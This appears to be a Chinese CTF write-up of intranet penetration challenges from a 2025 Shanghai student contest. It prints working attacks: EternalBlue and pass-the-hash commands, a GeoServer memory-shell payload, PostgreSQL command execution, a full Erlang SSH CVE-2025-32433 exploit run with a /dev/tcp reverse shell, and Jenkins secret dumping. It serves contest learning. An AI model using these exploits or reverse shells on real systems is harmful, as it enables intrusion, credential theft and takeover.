文章

2025第十届“磐石行动”上海市大学生网络安全大赛 - 复赛 - WriteUp

2025第十届“磐石行动”上海市大学生网络安全大赛复赛

2025第十届“磐石行动”上海市大学生网络安全大赛 - 复赛 - WriteUp

信息泄露引发的血案

1
2
3
1. 内网存在多台机器,不一定每台都存在flag。
2. Windows统一:C:\Users\Administrator\Desktop\flag
3. Linux统一:/root/flag

第一层(Windows)

扫描到robots.txt

README.txt泄露了后端源码实现了一个文件下载接口

using System;
using System.IO;
using System.Web;
using System.Text;

public partial class FileDownload : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        string forwardedFor = Request.Headers["X-Forwarded-For"];

        if (string.IsNullOrEmpty(forwardedFor) || !forwardedFor.Contains("127.0.0.1"))
        {
            Response.Write("禁止访问!");
            return;
        }

        string encodedFileName = Request.QueryString["img"];
        if (!string.IsNullOrEmpty(encodedFileName))
        {
            try
            {
                byte[] data = Convert.FromBase64String(encodedFileName);
                string fileName = Encoding.UTF8.GetString(data);

                string baseDirectory = Server.MapPath("~/");
                string filePath = Path.Combine(baseDirectory, fileName);

                if (File.Exists(filePath) && filePath.StartsWith(baseDirectory, StringComparison.OrdinalIgnoreCase))
                {
                    Response.ContentType = "image/jpeg";
                    Response.AddHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(filePath));
                    Response.WriteFile(filePath);
                    Response.End();
                }
                else
                {
                    Response.Write("猜错了!");
                }
            }
            catch
            {
                Response.Write("错啦!");
            }
        }
    }
}

这里可以使用编码加目录穿越进行绕过限制,伪造登录。

添加127头进行伪造
X-Forwarded-For: 127.0.0.1

1
flag{RDaU3MQiV1yp78xwjKF4Sk2JEgcTrhoz}

清晨的第一缕阳光

第一层(Windows)

1
2
3
1. 内网存在多台机器,不一定每台都存在flag。
2. Windows统一:C:\Users\Administrator\Desktop\flag
3. Linux统一:/root/flag

扫描端口

8080端口是tomacat

扫一下目录

/api端点存在stust2,使用工具进行梭哈

添加一个用户进行远程登录

flag{98oHzrJZBXtWfmdhs6ER73epQ5vn0LND}

第二层(Windows)

关闭防火墙
生成一个正向连接上线

发现192.168.99.112靶机

扫描

存在永恒之蓝,试了一下只能正向连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 生成马
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f raw -o shellcode.bin

#使用正向连接加代理  

msf6 > setg Proxies socks5:192.168.36.1:11086
Proxies => socks5:192.168.36.1:11086
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.99.112
RHOSTS => 192.168.99.112
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/shell_bind_tcp
PAYLOAD => windows/x64/shell_bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit 

# 代理NC监听  
┌──(kali㉿kali)-[~/ls]
└─$ proxychains4 nc 192.168.99.112 4444 

flag{lepgh5aBiLnTGV4QfM9Fr3ZKHJNR0bWX}

第三层(Windows)

创建用户开启3389端口,代理连接

扫到10.223.155.223

上传mimikatz抓一下hash

1
2
Administrator
173964ad89f81721613e41bd1122e65f

代理PTH攻击

1
proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py WORKGROUP/Administrator@10.223.155.223 -hashes :173964ad89f81721613e41bd1122e65f


flag{K0SBHWDXQ5CG6xbJufrZjyLI2Vm7sP3g}

夜色最浓时

1
2
3
1. 内网存在多台机器,不一定每台都存在flag。
2. Windows统一:C:\Users\Administrator\Desktop\flag
3. Linux统一:/root/flag

第一层(Windows)


访问8080

跳转

默认密码登录

1
2
admin
geoserver

没啥用,找到一个CVE打内存马
GeoServer property RCE注入内存马 CVE-2024-36401

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /geoserver/wfs HTTP/1.1
Host: 10.103.5.75:8080
Content-Type: application/xml

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="你生成的payload";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>


使用CS上线,一键提权

flag{5ziCUqpZ4Y1RQWwcjGxFegEIXoamtlMV}

第二层(Lunx)

扫出来 192.168.188.223:5432 postgres postgres

代理连接

1
2
3
COPY (SELECT '') TO PROGRAM 'sudo cat /root/flag > /tmp/root_flag.txt';

SELECT pg_read_file('/tmp/root_flag.txt', 0, 1000);

flag{RcCME5JgU3v76drzG12moDIi0j4ftPy8}

第三层

写公钥上去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 生成ssh密钥
ssh-keygen -t rsa -b 2048 -f my_root_key

#查看密钥
cat my_root_key.pub
内容

# 上传公钥
COPY (SELECT '') TO PROGRAM 'echo "内容" | sudo tee -a /root/.ssh/authorized_keys';

# 代理连接
┌──(xad㉿kali)-[~]
└─$ proxychains4 ssh -i my_root_key root@192.168.188.223
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1148  ...  192.168.188.223:22  ...  OK
The authenticity of host '192.168.188.223 (192.168.188.223)' can't be established.
ED25519 key fingerprint is SHA256:kUXE5oYjaMKMOM4LEU4AkuddRfE5rOXTewprv0EfQRc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.188.223' (ED25519) to the list of known hosts.
[root@localhost ~]# id
uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

sftp上传文件上线

1
2
3
proxychains4 sftp -i my_root_key root@192.168.188.223

put /home/xad/tcp_linux_amd64 /root/tcp_linux_amd64

上传内容扫一下

10.117.116.188

就一共22端口

找到两篇文章
Erlang/OTP 严重SSH 漏洞允许未认证的远程代码执行 CVE-2025-32433

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import socket
import struct
import time
import argparse
import base64


# Helper to format SSH string (4-byte length + bytes)
def string_payload(s):
    s_bytes = s.encode("utf-8")
    return struct.pack(">I", len(s_bytes)) + s_bytes


# Builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id=0):
    return (
        b"\x5a"  # SSH_MSG_CHANNEL_OPEN
        + string_payload("session")
        + struct.pack(">I", channel_id)  # sender channel ID
        + struct.pack(">I", 0x68000)  # initial window size
        + struct.pack(">I", 0x10000)  # max packet size
    )


# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
    return (
        b"\x62"  # SSH_MSG_CHANNEL_REQUEST
        + struct.pack(">I", channel_id)
        + string_payload("exec")
        + b"\x01"  # want_reply = true
        + string_payload(command)
    )


# Builds a minimal but valid SSH_MSG_KEXINIT packet
def build_kexinit():
    cookie = b"\x00" * 16

    def name_list(l):
        return string_payload(",".join(l))

    # Match server-supported algorithms from the log
    return (
        b"\x14"
        + cookie
        + name_list(
            [
                "curve25519-sha256",
                "ecdh-sha2-nistp256",
                "diffie-hellman-group-exchange-sha256",
                "diffie-hellman-group14-sha256",
            ]
        )  # kex algorithms
        + name_list(["rsa-sha2-256", "rsa-sha2-512"])  # host key algorithms
        + name_list(["aes128-ctr"]) * 2  # encryption client->server, server->client
        + name_list(["hmac-sha1"]) * 2  # MAC algorithms
        + name_list(["none"]) * 2  # compression
        + name_list([]) * 2  # languages
        + b"\x00"
        + struct.pack(">I", 0)  # first_kex_packet_follows, reserved
    )


# Pads a packet to match SSH framing
def pad_packet(payload, block_size=8):
    min_padding = 4
    padding_len = block_size - ((len(payload) + 5) % block_size)
    if padding_len < min_padding:
        padding_len += block_size
    return (
        struct.pack(">I", len(payload) + 1 + padding_len)
        + bytes([padding_len])
        + payload
        + bytes([0] * padding_len)
    )


# Convert system command to Erlang os:cmd format
def format_erlang_command(cmd):
    # Use base64 encoding to avoid escaping issues
    encoded_cmd = base64.b64encode(cmd.encode()).decode()
    # Create Erlang code that decodes and executes the command
    return f'os:cmd(binary_to_list(base64:decode("{encoded_cmd}"))).'


# === Exploit flow ===
def main():
    # Parse command line arguments
    parser = argparse.ArgumentParser(description='Exploit for Erlang CVE-2025-32433')
    parser.add_argument('-t', '--target', default="127.0.0.1", help='Target IP address (default: 127.0.0.1)')
    parser.add_argument('-p', '--port', type=int, default=2222, help='Target port (default: 2222)')
    parser.add_argument('-c', '--command', help='System command to execute (for example: touch /tmp/success)')
    parser.add_argument('-e', '--erlang', help='Interpret command as raw Erlang code instead of system command. (for example: os:cmd("touch /tmp/success").)')
    args = parser.parse_args()

    # Convert system command to Erlang command unless --erlang flag is used
    if args.erlang:
        erlang_cmd = args.erlang
    elif args.command:
        erlang_cmd = format_erlang_command(args.command)
    else:
        print(parser.print_help())
        return

    try:
        with socket.create_connection((args.target, args.port), timeout=5) as s:
            print("[*] Connecting to SSH server...")

            # 1. Banner exchange
            s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
            banner = s.recv(1024)
            print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
            time.sleep(0.5)  # Small delay between packets

            # 2. Send SSH_MSG_KEXINIT
            print("[*] Sending SSH_MSG_KEXINIT...")
            kex_packet = build_kexinit()
            s.sendall(pad_packet(kex_packet))
            time.sleep(0.5)  # Small delay between packets

            # 3. Send SSH_MSG_CHANNEL_OPEN
            print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
            chan_open = build_channel_open()
            s.sendall(pad_packet(chan_open))
            time.sleep(0.5)  # Small delay between packets

            # 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
            print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
            print(f"[*] Erlang payload: {erlang_cmd}")
            chan_req = build_channel_request(command=erlang_cmd)
            s.sendall(pad_packet(chan_req))

            print(
                f"[✓] Exploit sent! Command executed on target"
            )

            # Try to receive any response (might get a protocol error or disconnect)
            try:
                response = s.recv(1024)
                print(f"[+] Received response: {response.hex()}")
            except socket.timeout:
                print("[*] No response within timeout period (which is expected)")

    except Exception as e:
        print(f"[!] Error: {e}")


if __name__ == "__main__":
    main()
1
2
3
4
5
6
7
8
9
10
11
12
┌──(pd)(kali㉿kali)-[~/ls]
└─$ proxychains4 python3 1.py -t 10.117.116.188 -p 2222 -c '/bin/bash -i &>/dev/tcp/ip/1112 <&1'

[*] Connecting to SSH server...
[+] Received banner: 
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[*] Erlang payload: os:cmd(binary_to_list(base64:decode("L2Jpbi9iYXNoIC1pICY+L2Rldi90Y3AvMTExLjExOS4yMzguMjA2LzExMTIgPCYx"))).
[✓] Exploit sent! Command executed on target
[+] Received response: 

一条龙“服务”渗透

1
2
3
1. 内网存在多台机器,不一定每台都存在flag。
2. Windows统一:C:\Users\Administrator\Desktop\flag
3. Linux统一:/root/flag

第一层(Linux)

访问8000端口

报错信息泄露了ssh的密码

971083e04f0271a0c503733bd35ec5c0

解密一手

ssh登录

看到私钥直接登录

1
2
3
4
5
#查看私钥
cat id_rsa

# 保存给权限
chmod 600 id_rsa

连接

1
2
3
4
5
6
7
┌──(pd)(kali㉿kali)-[~/ls]
└─$ ssh -i id_rsa root@10.103.161.151
Last login: Thu May  8 15:58:58 2025 from 10.88.88.4
[root@localhost ~]# id
uid=0(root) gid=0(root)=0(root)
[root@localhost ~]# cat /root/f*
flag{4LjPKJO9owxzkbXN6vi5h0IpHeVFA7MD}[root@localhost ~]# 

第二层()

192.168.66.128

代理访问

参考文章
# Jenkins未授权访问漏洞&命令执行 # 漏洞复现 Jenkins script 远程命令执行漏洞

1
curl -u "admin:1172836bdd7cc687550e757a57d57e2804" -H "Jenkins-Crumb: $CRUMB" -d "script=println 'cat credentials.xml'.execute().text" http://192.168.66.128:8080/scriptText

1
{AQAAABAAAAAgtexA8vpTSnExRDT5W2GGLO4f2VW1OCnN0JoU8Nfy1zx90xyaA/ddWiCrThVdRmQn}
1
curl -u "admin:1172836bdd7cc687550e757a57d57e2804" -H "Jenkins-Crumb: $CRUMB" -d "script=println 'cat secret.key'.execute().text" http://192.168.66.128:8080/scriptText

1
1c48f36e2bc4e3b3f6b24083193dc215492f4ff9533cf714dad75321b1659fdb
1
2
3
4
5
6
[root@localhost ~]# curl -u "admin:1172836bdd7cc687550e757a57d57e2804" -H "Jenkins-Crumb: $CRUMB" -d "script=println 'ls -l ./secrets'.execute().text" http://192.168.66.128:8080/scriptText
total 16
-rw-r--r--. 1 jenkins jenkins 272 Mar 14 10:58 hudson.util.Secret
-rw-r--r--. 1 jenkins jenkins  32 Mar 14 10:44 jenkins.model.Jenkins.crumbSalt
-rw-r--r--. 1 jenkins jenkins 256 Mar 14 10:44 master.key
-rw-r--r--. 1 jenkins jenkins 272 Mar 14 10:57 org.jenkinsci.main.modules.instance_identity.InstanceIdentity.KEY
1
curl -u "admin:1172836bdd7cc687550e757a57d57e2804" -H "Jenkins-Crumb: $CRUMB" -d "script=println 'cat secrets/master.key'.execute().text" http://192.168.66.128:8080/scriptText


master.key

1
504f62ab1c6fe005cbfba4cbac6dea110d0d45449dbef5236108752b3387a0b5b86aa154d77f5ed829c720c3d4384abefb17c116be7e59a4be0df2aa40b4ff30b1d43c18ad8764840f067124c5c93348f84df5cab0cf5001aa5bd9aa85c1545c616e01e5b3a87954fadcb1acd35a2eb917cc24708667f3a268770ec60154d138

hudson.util.Secret

1
2
3
4
5
6
7
8
9
10
[root@localhost ~]# curl -u "admin:1172836bdd7cc687550e757a57d57e2804" \
>    -H "Jenkins-Crumb: $CRUMB" \
>    -d "script=println 'base64 secrets/hudson.util.Secret'.execute().text" \
>    http://192.168.66.128:8080/scriptText
CWbIdzHbfTI8pV7A/1UuCcs0Ags9Y18nyqsrTnoIzArpEk58k7nvowlq3KqicxergfHaPoxaTlvX
bKTRpnnfVba/t3x9eXnPMTz9j/WuPpbVS+8scytbA3FOAzjmvWG1aMQYwsp7WahtT+evSbADcZ+3
t7kKG5mn8WoV7GoRXtsfisbHUDHGxV28OXVKf3p+8JnL/n64dm7rdUE35+3f2gYpZjLFXPZk696F
8XXPTgkIOgEnBT1r3Ur9CMF+5wDheEQQN6Xv0Wc3VKOPQ7MtetPTVpZjV5ncNJgi7tRXdEFP+8kj
GkgbLlWWZ7mlpeH7P433tl8HzJx27QNYMcLVQLZm0DTUtwYi6Bk6C0IKnX0=

解密

1
2
3
4
5
┌──(pd)─(kali㉿kali)-[~/ls]
└─$ python3 jenkins_credential.py master.key hudson.util.Secret {AQAAABAAAAAgtexA8vpTSnExRDT5W2GGLO4f2VW1OCnN0JoU8Nfy1zx90xyaA/ddWiCrThVdRmQn}
/home/kali/ls/jenkins_credential.py:5: SyntaxWarning: invalid escape sequence '\ '

8A2G0RNDocDjiaKd

ssh登录

1
2
ssh idss@192.168.66.128
8A2G0RNDocDjiaKd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[root@localhost ~]# ssh idss@192.168.66.128
The authenticity of host '192.168.66.128 (192.168.66.128)' can't be established.
ECDSA key fingerprint is SHA256:A89jmLwKxeps5/7NNwHpI1HwHVH1R+S9kV0DP2c1K/U.
ECDSA key fingerprint is MD5:36:36:5d:87:bc:b8:e3:57:9f:57:43:67:a0:bf:c4:92.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.66.128' (ECDSA) to the list of known hosts.
idss@192.168.66.128's password: 
Last login: Wed Apr 30 08:24:18 2025
[idss@localhost ~]$ id
uid=1000(idss) gid=1000(idss)=1000(idss),4(adm),190(systemd-journal)
[idss@localhost ~]$ sudo -l
匹配 %2$s 上 %1$s 的默认条目:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

用户 idss 可以在 localhost 上运行以下命令:
    (ALL) NOPASSWD: ALL
[idss@localhost ~]$ sudo su -
上一次登录:四 5月  8 15:59:36 UTC 2025从 10.88.88.4pts/0 上
最后一次失败的登录:四 8月  7 14:09:40 UTC 2025从 192.168.66.31ssh:notty 上
最有一次成功登录后有 45 次失败的登录尝试。
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@localhost ~]# cat /root/f*
flag{XJFyvxcALo9w3SrmBn5l6gqZNskbO7Dp}[root@localhost ~]# 
本文由作者按照 CC BY 4.0 进行授权

热门标签